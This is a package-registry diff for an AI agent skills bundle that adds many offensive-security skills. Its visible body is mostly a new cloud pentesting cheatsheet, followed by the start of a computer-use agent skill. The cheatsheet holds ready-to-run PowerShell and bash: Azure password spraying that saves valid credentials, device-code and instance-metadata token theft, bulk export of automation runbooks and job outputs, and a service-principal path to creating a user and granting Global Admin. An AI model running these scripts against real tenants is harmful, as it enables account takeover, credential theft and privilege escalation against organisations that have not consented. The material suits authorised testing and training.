@namch/agent-assistant 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +114 -522
- package/agents/backend-engineer.md +0 -8
- package/agents/brainstormer.md +0 -6
- package/agents/business-analyst.md +0 -5
- package/agents/database-architect.md +0 -6
- package/agents/debugger.md +0 -6
- package/agents/designer.md +0 -5
- package/agents/devops-engineer.md +0 -7
- package/agents/docs-manager.md +0 -6
- package/agents/frontend-engineer.md +0 -7
- package/agents/game-engineer.md +0 -7
- package/agents/mobile-engineer.md +0 -7
- package/agents/performance-engineer.md +0 -7
- package/agents/planner.md +0 -6
- package/agents/project-manager.md +0 -6
- package/agents/researcher.md +0 -5
- package/agents/reviewer.md +0 -6
- package/agents/scouter.md +0 -6
- package/agents/security-engineer.md +0 -7
- package/agents/tech-lead.md +0 -7
- package/agents/tester.md +0 -5
- package/cli/README.md +19 -10
- package/documents/business/business-features.md +1 -1
- package/documents/business/business-prd.md +4 -4
- package/documents/knowledge-architecture.md +1 -1
- package/documents/knowledge-domain.md +1 -1
- package/documents/knowledge-overview.md +14 -29
- package/documents/knowledge-source-base.md +14 -14
- package/package.json +1 -1
- package/rules/QUICK-REFERENCE.md +4 -1
- package/rules/SKILL-DISCOVERY.md +37 -14
- package/skills/active-directory-attacks/SKILL.md +383 -0
- package/skills/active-directory-attacks/references/advanced-attacks.md +382 -0
- package/skills/agent-evaluation/SKILL.md +64 -0
- package/skills/agent-memory-mcp/SKILL.md +82 -0
- package/skills/agent-memory-systems/SKILL.md +67 -0
- package/skills/agent-tool-builder/SKILL.md +53 -0
- package/skills/ai-agents-architect/SKILL.md +90 -0
- package/skills/ai-product/SKILL.md +54 -0
- package/skills/ai-wrapper-product/SKILL.md +273 -0
- package/skills/api-documentation-generator/SKILL.md +484 -0
- package/skills/api-fuzzing-bug-bounty/SKILL.md +433 -0
- package/skills/api-security-best-practices/SKILL.md +907 -0
- package/skills/autonomous-agent-patterns/SKILL.md +761 -0
- package/skills/autonomous-agents/SKILL.md +68 -0
- package/skills/aws-penetration-testing/SKILL.md +405 -0
- package/skills/aws-penetration-testing/references/advanced-aws-pentesting.md +469 -0
- package/skills/azure-functions/SKILL.md +42 -0
- package/skills/backend-dev-guidelines/SKILL.md +342 -0
- package/skills/backend-dev-guidelines/resources/architecture-overview.md +451 -0
- package/skills/backend-dev-guidelines/resources/async-and-errors.md +307 -0
- package/skills/backend-dev-guidelines/resources/complete-examples.md +638 -0
- package/skills/backend-dev-guidelines/resources/configuration.md +275 -0
- package/skills/backend-dev-guidelines/resources/database-patterns.md +224 -0
- package/skills/backend-dev-guidelines/resources/middleware-guide.md +213 -0
- package/skills/backend-dev-guidelines/resources/routing-and-controllers.md +756 -0
- package/skills/backend-dev-guidelines/resources/sentry-and-monitoring.md +336 -0
- package/skills/backend-dev-guidelines/resources/services-and-repositories.md +789 -0
- package/skills/backend-dev-guidelines/resources/testing-guide.md +235 -0
- package/skills/backend-dev-guidelines/resources/validation-patterns.md +754 -0
- package/skills/broken-authentication/SKILL.md +476 -0
- package/skills/bullmq-specialist/SKILL.md +57 -0
- package/skills/bun-development/SKILL.md +691 -0
- package/skills/burp-suite-testing/SKILL.md +380 -0
- package/skills/cloud-penetration-testing/SKILL.md +501 -0
- package/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md +318 -0
- package/skills/computer-use-agents/SKILL.md +315 -0
- package/skills/content-creator/SKILL.md +248 -0
- package/skills/content-creator/assets/content_calendar_template.md +99 -0
- package/skills/content-creator/references/brand_guidelines.md +199 -0
- package/skills/content-creator/references/content_frameworks.md +534 -0
- package/skills/content-creator/references/social_media_optimization.md +317 -0
- package/skills/content-creator/scripts/brand_voice_analyzer.py +185 -0
- package/skills/content-creator/scripts/seo_optimizer.py +419 -0
- package/skills/context-window-management/SKILL.md +53 -0
- package/skills/conversation-memory/SKILL.md +61 -0
- package/skills/copy-editing/SKILL.md +439 -0
- package/skills/copywriting/SKILL.md +225 -0
- package/skills/crewai/SKILL.md +243 -0
- package/skills/discord-bot-architect/SKILL.md +277 -0
- package/skills/dispatching-parallel-agents/SKILL.md +180 -0
- package/skills/email-sequence/SKILL.md +925 -0
- package/skills/email-systems/SKILL.md +54 -0
- package/skills/ethical-hacking-methodology/SKILL.md +466 -0
- package/skills/executing-plans/SKILL.md +76 -0
- package/skills/file-path-traversal/SKILL.md +486 -0
- package/skills/finishing-a-development-branch/SKILL.md +200 -0
- package/skills/frontend-dev-guidelines/SKILL.md +359 -0
- package/skills/frontend-dev-guidelines/resources/common-patterns.md +331 -0
- package/skills/frontend-dev-guidelines/resources/complete-examples.md +872 -0
- package/skills/frontend-dev-guidelines/resources/component-patterns.md +502 -0
- package/skills/frontend-dev-guidelines/resources/data-fetching.md +767 -0
- package/skills/frontend-dev-guidelines/resources/file-organization.md +502 -0
- package/skills/frontend-dev-guidelines/resources/loading-and-error-states.md +501 -0
- package/skills/frontend-dev-guidelines/resources/performance.md +406 -0
- package/skills/frontend-dev-guidelines/resources/routing-guide.md +364 -0
- package/skills/frontend-dev-guidelines/resources/styling-guide.md +428 -0
- package/skills/frontend-dev-guidelines/resources/typescript-standards.md +418 -0
- package/skills/gcp-cloud-run/SKILL.md +288 -0
- package/skills/git-pushing/SKILL.md +33 -0
- package/skills/git-pushing/scripts/smart_commit.sh +19 -0
- package/skills/github-workflow-automation/SKILL.md +846 -0
- package/skills/html-injection-testing/SKILL.md +498 -0
- package/skills/idor-testing/SKILL.md +442 -0
- package/skills/inngest/SKILL.md +55 -0
- package/skills/javascript-mastery/SKILL.md +645 -0
- package/skills/kaizen/SKILL.md +730 -0
- package/skills/langfuse/SKILL.md +238 -0
- package/skills/langgraph/SKILL.md +287 -0
- package/skills/linux-privilege-escalation/SKILL.md +504 -0
- package/skills/llm-app-patterns/SKILL.md +760 -0
- package/skills/metasploit-framework/SKILL.md +478 -0
- package/skills/multi-agent-brainstorming/SKILL.md +256 -0
- package/skills/neon-postgres/SKILL.md +56 -0
- package/skills/nextjs-supabase-auth/SKILL.md +56 -0
- package/skills/nosql-expert/SKILL.md +111 -0
- package/skills/pentest-checklist/SKILL.md +334 -0
- package/skills/pentest-commands/SKILL.md +438 -0
- package/skills/plaid-fintech/SKILL.md +50 -0
- package/skills/planning-with-files/SKILL.md +211 -0
- package/skills/planning-with-files/examples.md +202 -0
- package/skills/planning-with-files/reference.md +218 -0
- package/skills/planning-with-files/scripts/check-complete.sh +44 -0
- package/skills/planning-with-files/scripts/init-session.sh +120 -0
- package/skills/planning-with-files/templates/findings.md +95 -0
- package/skills/planning-with-files/templates/progress.md +114 -0
- package/skills/planning-with-files/templates/task_plan.md +132 -0
- package/skills/privilege-escalation-methods/SKILL.md +333 -0
- package/skills/production-code-audit/SKILL.md +540 -0
- package/skills/prompt-caching/SKILL.md +61 -0
- package/skills/prompt-engineering/SKILL.md +171 -0
- package/skills/prompt-library/SKILL.md +322 -0
- package/skills/rag-engineer/SKILL.md +90 -0
- package/skills/rag-implementation/SKILL.md +63 -0
- package/skills/react-ui-patterns/SKILL.md +289 -0
- package/skills/red-team-tools/SKILL.md +310 -0
- package/skills/scanning-tools/SKILL.md +589 -0
- package/skills/shodan-reconnaissance/SKILL.md +503 -0
- package/skills/slack-bot-builder/SKILL.md +264 -0
- package/skills/smtp-penetration-testing/SKILL.md +500 -0
- package/skills/social-content/SKILL.md +807 -0
- package/skills/software-architecture/SKILL.md +75 -0
- package/skills/sql-injection-testing/SKILL.md +448 -0
- package/skills/sqlmap-database-pentesting/SKILL.md +400 -0
- package/skills/ssh-penetration-testing/SKILL.md +488 -0
- package/skills/stripe-integration/SKILL.md +69 -0
- package/skills/subagent-driven-development/SKILL.md +240 -0
- package/skills/subagent-driven-development/code-quality-reviewer-prompt.md +20 -0
- package/skills/subagent-driven-development/implementer-prompt.md +78 -0
- package/skills/subagent-driven-development/spec-reviewer-prompt.md +61 -0
- package/skills/tavily-web/SKILL.md +36 -0
- package/skills/telegram-bot-builder/SKILL.md +254 -0
- package/skills/test-driven-development/SKILL.md +371 -0
- package/skills/test-driven-development/testing-anti-patterns.md +299 -0
- package/skills/test-fixing/SKILL.md +119 -0
- package/skills/top-web-vulnerabilities/SKILL.md +543 -0
- package/skills/trigger-dev/SKILL.md +67 -0
- package/skills/twilio-communications/SKILL.md +295 -0
- package/skills/upstash-qstash/SKILL.md +68 -0
- package/skills/verification-before-completion/SKILL.md +139 -0
- package/skills/voice-agents/SKILL.md +68 -0
- package/skills/voice-ai-development/SKILL.md +302 -0
- package/skills/windows-privilege-escalation/SKILL.md +496 -0
- package/skills/wireshark-analysis/SKILL.md +497 -0
- package/skills/wordpress-penetration-testing/SKILL.md +485 -0
- package/skills/workflow-automation/SKILL.md +68 -0
- package/skills/xss-html-injection/SKILL.md +499 -0
- package/skills/zapier-make-patterns/SKILL.md +67 -0
|
@@ -0,0 +1,318 @@
|
|
|
1
|
+
# Advanced Cloud Pentesting Scripts
|
|
2
|
+
|
|
3
|
+
Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets)
|
|
4
|
+
|
|
5
|
+
## Azure Automation Runbooks
|
|
6
|
+
|
|
7
|
+
### Export All Runbooks from All Subscriptions
|
|
8
|
+
|
|
9
|
+
```powershell
|
|
10
|
+
$subs = Get-AzSubscription
|
|
11
|
+
Foreach($s in $subs){
|
|
12
|
+
$subscriptionid = $s.SubscriptionId
|
|
13
|
+
mkdir .\$subscriptionid\
|
|
14
|
+
Select-AzSubscription -Subscription $subscriptionid
|
|
15
|
+
$runbooks = @()
|
|
16
|
+
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
|
17
|
+
foreach ($i in $autoaccounts){
|
|
18
|
+
$runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name
|
|
19
|
+
}
|
|
20
|
+
foreach($r in $runbooks){
|
|
21
|
+
Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
### Export All Automation Job Outputs
|
|
27
|
+
|
|
28
|
+
```powershell
|
|
29
|
+
$subs = Get-AzSubscription
|
|
30
|
+
$jobout = @()
|
|
31
|
+
Foreach($s in $subs){
|
|
32
|
+
$subscriptionid = $s.SubscriptionId
|
|
33
|
+
Select-AzSubscription -Subscription $subscriptionid
|
|
34
|
+
$jobs = @()
|
|
35
|
+
$autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName
|
|
36
|
+
foreach ($i in $autoaccounts){
|
|
37
|
+
$jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId
|
|
38
|
+
}
|
|
39
|
+
foreach($r in $jobs){
|
|
40
|
+
$jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
$jobout | Out-File -Encoding ascii joboutputs.txt
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## Azure Function Apps
|
|
47
|
+
|
|
48
|
+
### List All Function App Hostnames
|
|
49
|
+
|
|
50
|
+
```powershell
|
|
51
|
+
$functionapps = Get-AzFunctionApp
|
|
52
|
+
foreach($f in $functionapps){
|
|
53
|
+
$f.EnabledHostname
|
|
54
|
+
}
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Extract Function App Information
|
|
58
|
+
|
|
59
|
+
```powershell
|
|
60
|
+
$subs = Get-AzSubscription
|
|
61
|
+
$allfunctioninfo = @()
|
|
62
|
+
Foreach($s in $subs){
|
|
63
|
+
$subscriptionid = $s.SubscriptionId
|
|
64
|
+
Select-AzSubscription -Subscription $subscriptionid
|
|
65
|
+
$functionapps = Get-AzFunctionApp
|
|
66
|
+
foreach($f in $functionapps){
|
|
67
|
+
$allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter
|
|
68
|
+
$allfunctioninfo += $f.SiteConfig | fl
|
|
69
|
+
$allfunctioninfo += $f.ApplicationSettings | fl
|
|
70
|
+
$allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
$allfunctioninfo
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
## Azure Device Code Login Flow
|
|
77
|
+
|
|
78
|
+
### Initiate Device Code Login
|
|
79
|
+
|
|
80
|
+
```powershell
|
|
81
|
+
$body = @{
|
|
82
|
+
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
83
|
+
"resource" = "https://graph.microsoft.com"
|
|
84
|
+
}
|
|
85
|
+
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
|
|
86
|
+
$Headers = @{}
|
|
87
|
+
$Headers["User-Agent"] = $UserAgent
|
|
88
|
+
$authResponse = Invoke-RestMethod `
|
|
89
|
+
-UseBasicParsing `
|
|
90
|
+
-Method Post `
|
|
91
|
+
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
|
|
92
|
+
-Headers $Headers `
|
|
93
|
+
-Body $body
|
|
94
|
+
$authResponse
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
Navigate to https://microsoft.com/devicelogin and enter the code.
|
|
98
|
+
|
|
99
|
+
### Retrieve Access Tokens
|
|
100
|
+
|
|
101
|
+
```powershell
|
|
102
|
+
$body = @{
|
|
103
|
+
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
|
|
104
|
+
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
|
|
105
|
+
"code" = $authResponse.device_code
|
|
106
|
+
}
|
|
107
|
+
$Tokens = Invoke-RestMethod `
|
|
108
|
+
-UseBasicParsing `
|
|
109
|
+
-Method Post `
|
|
110
|
+
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
|
|
111
|
+
-Headers $Headers `
|
|
112
|
+
-Body $body
|
|
113
|
+
$Tokens
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
## Azure Managed Identity Token Retrieval
|
|
117
|
+
|
|
118
|
+
```powershell
|
|
119
|
+
# From Azure VM
|
|
120
|
+
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
|
121
|
+
|
|
122
|
+
# Full instance metadata
|
|
123
|
+
$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
|
|
124
|
+
$instance
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
## AWS Region Iteration Scripts
|
|
128
|
+
|
|
129
|
+
Create `regions.txt`:
|
|
130
|
+
```
|
|
131
|
+
us-east-1
|
|
132
|
+
us-east-2
|
|
133
|
+
us-west-1
|
|
134
|
+
us-west-2
|
|
135
|
+
ca-central-1
|
|
136
|
+
eu-west-1
|
|
137
|
+
eu-west-2
|
|
138
|
+
eu-west-3
|
|
139
|
+
eu-central-1
|
|
140
|
+
eu-north-1
|
|
141
|
+
ap-southeast-1
|
|
142
|
+
ap-southeast-2
|
|
143
|
+
ap-south-1
|
|
144
|
+
ap-northeast-1
|
|
145
|
+
ap-northeast-2
|
|
146
|
+
ap-northeast-3
|
|
147
|
+
sa-east-1
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### List All EC2 Public IPs
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
while read r; do
|
|
154
|
+
aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt
|
|
155
|
+
done < regions.txt
|
|
156
|
+
sort -u ec2-public-ips.txt -o ec2-public-ips.txt
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### List All ELB DNS Addresses
|
|
160
|
+
|
|
161
|
+
```bash
|
|
162
|
+
while read r; do
|
|
163
|
+
aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
|
164
|
+
aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt
|
|
165
|
+
done < regions.txt
|
|
166
|
+
sort -u elb-public-dns.txt -o elb-public-dns.txt
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### List All RDS DNS Addresses
|
|
170
|
+
|
|
171
|
+
```bash
|
|
172
|
+
while read r; do
|
|
173
|
+
aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt
|
|
174
|
+
done < regions.txt
|
|
175
|
+
sort -u rds-public-dns.txt -o rds-public-dns.txt
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### Get CloudFormation Outputs
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
while read r; do
|
|
182
|
+
aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt
|
|
183
|
+
done < regions.txt
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
## ScoutSuite jq Parsing Queries
|
|
187
|
+
|
|
188
|
+
### AWS Queries
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# Find All Lambda Environment Variables
|
|
192
|
+
for d in */ ; do
|
|
193
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt
|
|
194
|
+
done
|
|
195
|
+
|
|
196
|
+
# Find World Listable S3 Buckets
|
|
197
|
+
for d in */ ; do
|
|
198
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt
|
|
199
|
+
done
|
|
200
|
+
|
|
201
|
+
# Find All EC2 User Data
|
|
202
|
+
for d in */ ; do
|
|
203
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt
|
|
204
|
+
done
|
|
205
|
+
|
|
206
|
+
# Find EC2 Security Groups That Whitelist AWS CIDRs
|
|
207
|
+
for d in */ ; do
|
|
208
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt
|
|
209
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt
|
|
210
|
+
done
|
|
211
|
+
|
|
212
|
+
# Find All EC2 EBS Volumes Unencrypted
|
|
213
|
+
for d in */ ; do
|
|
214
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt
|
|
215
|
+
done
|
|
216
|
+
|
|
217
|
+
# Find All EC2 EBS Snapshots Unencrypted
|
|
218
|
+
for d in */ ; do
|
|
219
|
+
tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt
|
|
220
|
+
done
|
|
221
|
+
```
|
|
222
|
+
|
|
223
|
+
### Azure Queries
|
|
224
|
+
|
|
225
|
+
```bash
|
|
226
|
+
# List All Azure App Service Host Names
|
|
227
|
+
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]'
|
|
228
|
+
|
|
229
|
+
# List All Azure SQL Servers
|
|
230
|
+
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"'
|
|
231
|
+
|
|
232
|
+
# List All Azure Virtual Machine Hostnames
|
|
233
|
+
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"'
|
|
234
|
+
|
|
235
|
+
# List Storage Accounts
|
|
236
|
+
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name'
|
|
237
|
+
|
|
238
|
+
# List Disks Encrypted with Platform Managed Keys
|
|
239
|
+
tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
## Password Spraying with Az PowerShell
|
|
243
|
+
|
|
244
|
+
```powershell
|
|
245
|
+
$userlist = Get-Content userlist.txt
|
|
246
|
+
$passlist = Get-Content passlist.txt
|
|
247
|
+
$linenumber = 0
|
|
248
|
+
$count = $userlist.count
|
|
249
|
+
foreach($line in $userlist){
|
|
250
|
+
$user = $line
|
|
251
|
+
$pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force
|
|
252
|
+
$current = $linenumber + 1
|
|
253
|
+
Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber])
|
|
254
|
+
$linenumber++
|
|
255
|
+
$Cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
|
|
256
|
+
try {
|
|
257
|
+
Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue
|
|
258
|
+
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
|
259
|
+
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
|
260
|
+
}
|
|
261
|
+
catch {
|
|
262
|
+
$Failure = $_.Exception
|
|
263
|
+
if ($Failure -match "ID3242") { continue }
|
|
264
|
+
else {
|
|
265
|
+
Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1])
|
|
266
|
+
Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1])
|
|
267
|
+
Add-Content valid-creds.txt $Failure.Message
|
|
268
|
+
Write-Host -ForegroundColor red $Failure.Message
|
|
269
|
+
}
|
|
270
|
+
}
|
|
271
|
+
}
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
## Service Principal Attack Path
|
|
275
|
+
|
|
276
|
+
```bash
|
|
277
|
+
# Reset service principal credential
|
|
278
|
+
az ad sp credential reset --id <app_id>
|
|
279
|
+
az ad sp credential list --id <app_id>
|
|
280
|
+
|
|
281
|
+
# Login as service principal
|
|
282
|
+
az login --service-principal -u "app id" -p "password" --tenant <tenant ID> --allow-no-subscriptions
|
|
283
|
+
|
|
284
|
+
# Create new user in tenant
|
|
285
|
+
az ad user create --display-name <name> --password <password> --user-principal-name <upn>
|
|
286
|
+
|
|
287
|
+
# Add user to Global Admin via MS Graph
|
|
288
|
+
$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"
|
|
289
|
+
az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
## Additional Tools Reference
|
|
293
|
+
|
|
294
|
+
| Tool | URL | Purpose |
|
|
295
|
+
|------|-----|---------|
|
|
296
|
+
| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment |
|
|
297
|
+
| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation |
|
|
298
|
+
| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration |
|
|
299
|
+
| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing |
|
|
300
|
+
| MSOLSpray | github.com/dafthack | O365 password spraying |
|
|
301
|
+
| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths |
|
|
302
|
+
| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration |
|
|
303
|
+
| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation |
|
|
304
|
+
| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing |
|
|
305
|
+
| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery |
|
|
306
|
+
| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning |
|
|
307
|
+
| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning |
|
|
308
|
+
| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification |
|
|
309
|
+
| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway |
|
|
310
|
+
|
|
311
|
+
## Vulnerable Training Environments
|
|
312
|
+
|
|
313
|
+
| Platform | URL | Purpose |
|
|
314
|
+
|----------|-----|---------|
|
|
315
|
+
| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab |
|
|
316
|
+
| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs |
|
|
317
|
+
| Flaws Cloud | flaws.cloud | AWS CTF challenges |
|
|
318
|
+
| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges |
|
|
@@ -0,0 +1,315 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: computer-use-agents
|
|
3
|
+
description: "Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-source alternatives. Critical focus on sandboxing, security, and handling the unique challenges of vision-based control. Use when: computer use, desktop automation agent, screen control AI, vision-based agent, GUI automation."
|
|
4
|
+
source: vibeship-spawner-skills (Apache 2.0)
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Computer Use Agents
|
|
8
|
+
|
|
9
|
+
## Patterns
|
|
10
|
+
|
|
11
|
+
### Perception-Reasoning-Action Loop
|
|
12
|
+
|
|
13
|
+
The fundamental architecture of computer use agents: observe screen,
|
|
14
|
+
reason about next action, execute action, repeat. This loop integrates
|
|
15
|
+
vision models with action execution through an iterative pipeline.
|
|
16
|
+
|
|
17
|
+
Key components:
|
|
18
|
+
1. PERCEPTION: Screenshot captures current screen state
|
|
19
|
+
2. REASONING: Vision-language model analyzes and plans
|
|
20
|
+
3. ACTION: Execute mouse/keyboard operations
|
|
21
|
+
4. FEEDBACK: Observe result, continue or correct
|
|
22
|
+
|
|
23
|
+
Critical insight: Vision agents are completely still during "thinking"
|
|
24
|
+
phase (1-5 seconds), creating a detectable pause pattern.
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
**When to use**: ['Building any computer use agent from scratch', 'Integrating vision models with desktop control', 'Understanding agent behavior patterns']
|
|
28
|
+
|
|
29
|
+
```python
|
|
30
|
+
from anthropic import Anthropic
|
|
31
|
+
from PIL import Image
|
|
32
|
+
import base64
|
|
33
|
+
import pyautogui
|
|
34
|
+
import time
|
|
35
|
+
|
|
36
|
+
class ComputerUseAgent:
|
|
37
|
+
"""
|
|
38
|
+
Perception-Reasoning-Action loop implementation.
|
|
39
|
+
Based on Anthropic Computer Use patterns.
|
|
40
|
+
"""
|
|
41
|
+
|
|
42
|
+
def __init__(self, client: Anthropic, model: str = "claude-sonnet-4-20250514"):
|
|
43
|
+
self.client = client
|
|
44
|
+
self.model = model
|
|
45
|
+
self.max_steps = 50 # Prevent runaway loops
|
|
46
|
+
self.action_delay = 0.5 # Seconds between actions
|
|
47
|
+
|
|
48
|
+
def capture_screenshot(self) -> str:
|
|
49
|
+
"""Capture screen and return base64 encoded image."""
|
|
50
|
+
screenshot = pyautogui.screenshot()
|
|
51
|
+
# Resize for token efficiency (1280x800 is good balance)
|
|
52
|
+
screenshot = screenshot.resize((1280, 800), Image.LANCZOS)
|
|
53
|
+
|
|
54
|
+
import io
|
|
55
|
+
buffer = io.BytesIO()
|
|
56
|
+
screenshot.save(buffer, format="PNG")
|
|
57
|
+
return base64.b64encode(buffer.getvalue()).decode()
|
|
58
|
+
|
|
59
|
+
def execute_action(self, action: dict) -> dict:
|
|
60
|
+
"""Execute mouse/keyboard action on the computer."""
|
|
61
|
+
action_type = action.get("type")
|
|
62
|
+
|
|
63
|
+
if action_type == "click":
|
|
64
|
+
x, y = action["x"], action["y"]
|
|
65
|
+
button = action.get("button", "left")
|
|
66
|
+
pyautogui.click(x, y, button=button)
|
|
67
|
+
return {"success": True, "action": f"clicked at ({x}, {y})"}
|
|
68
|
+
|
|
69
|
+
elif action_type == "type":
|
|
70
|
+
text = action["text"]
|
|
71
|
+
pyautogui.typewrite(text, interval=0.02)
|
|
72
|
+
return {"success": True, "action": f"typed {len(text)} chars"}
|
|
73
|
+
|
|
74
|
+
elif action_type == "key":
|
|
75
|
+
key = action["key"]
|
|
76
|
+
pyautogui.press(key)
|
|
77
|
+
return {"success": True, "action": f"pressed {key}"}
|
|
78
|
+
|
|
79
|
+
elif action_type == "scroll":
|
|
80
|
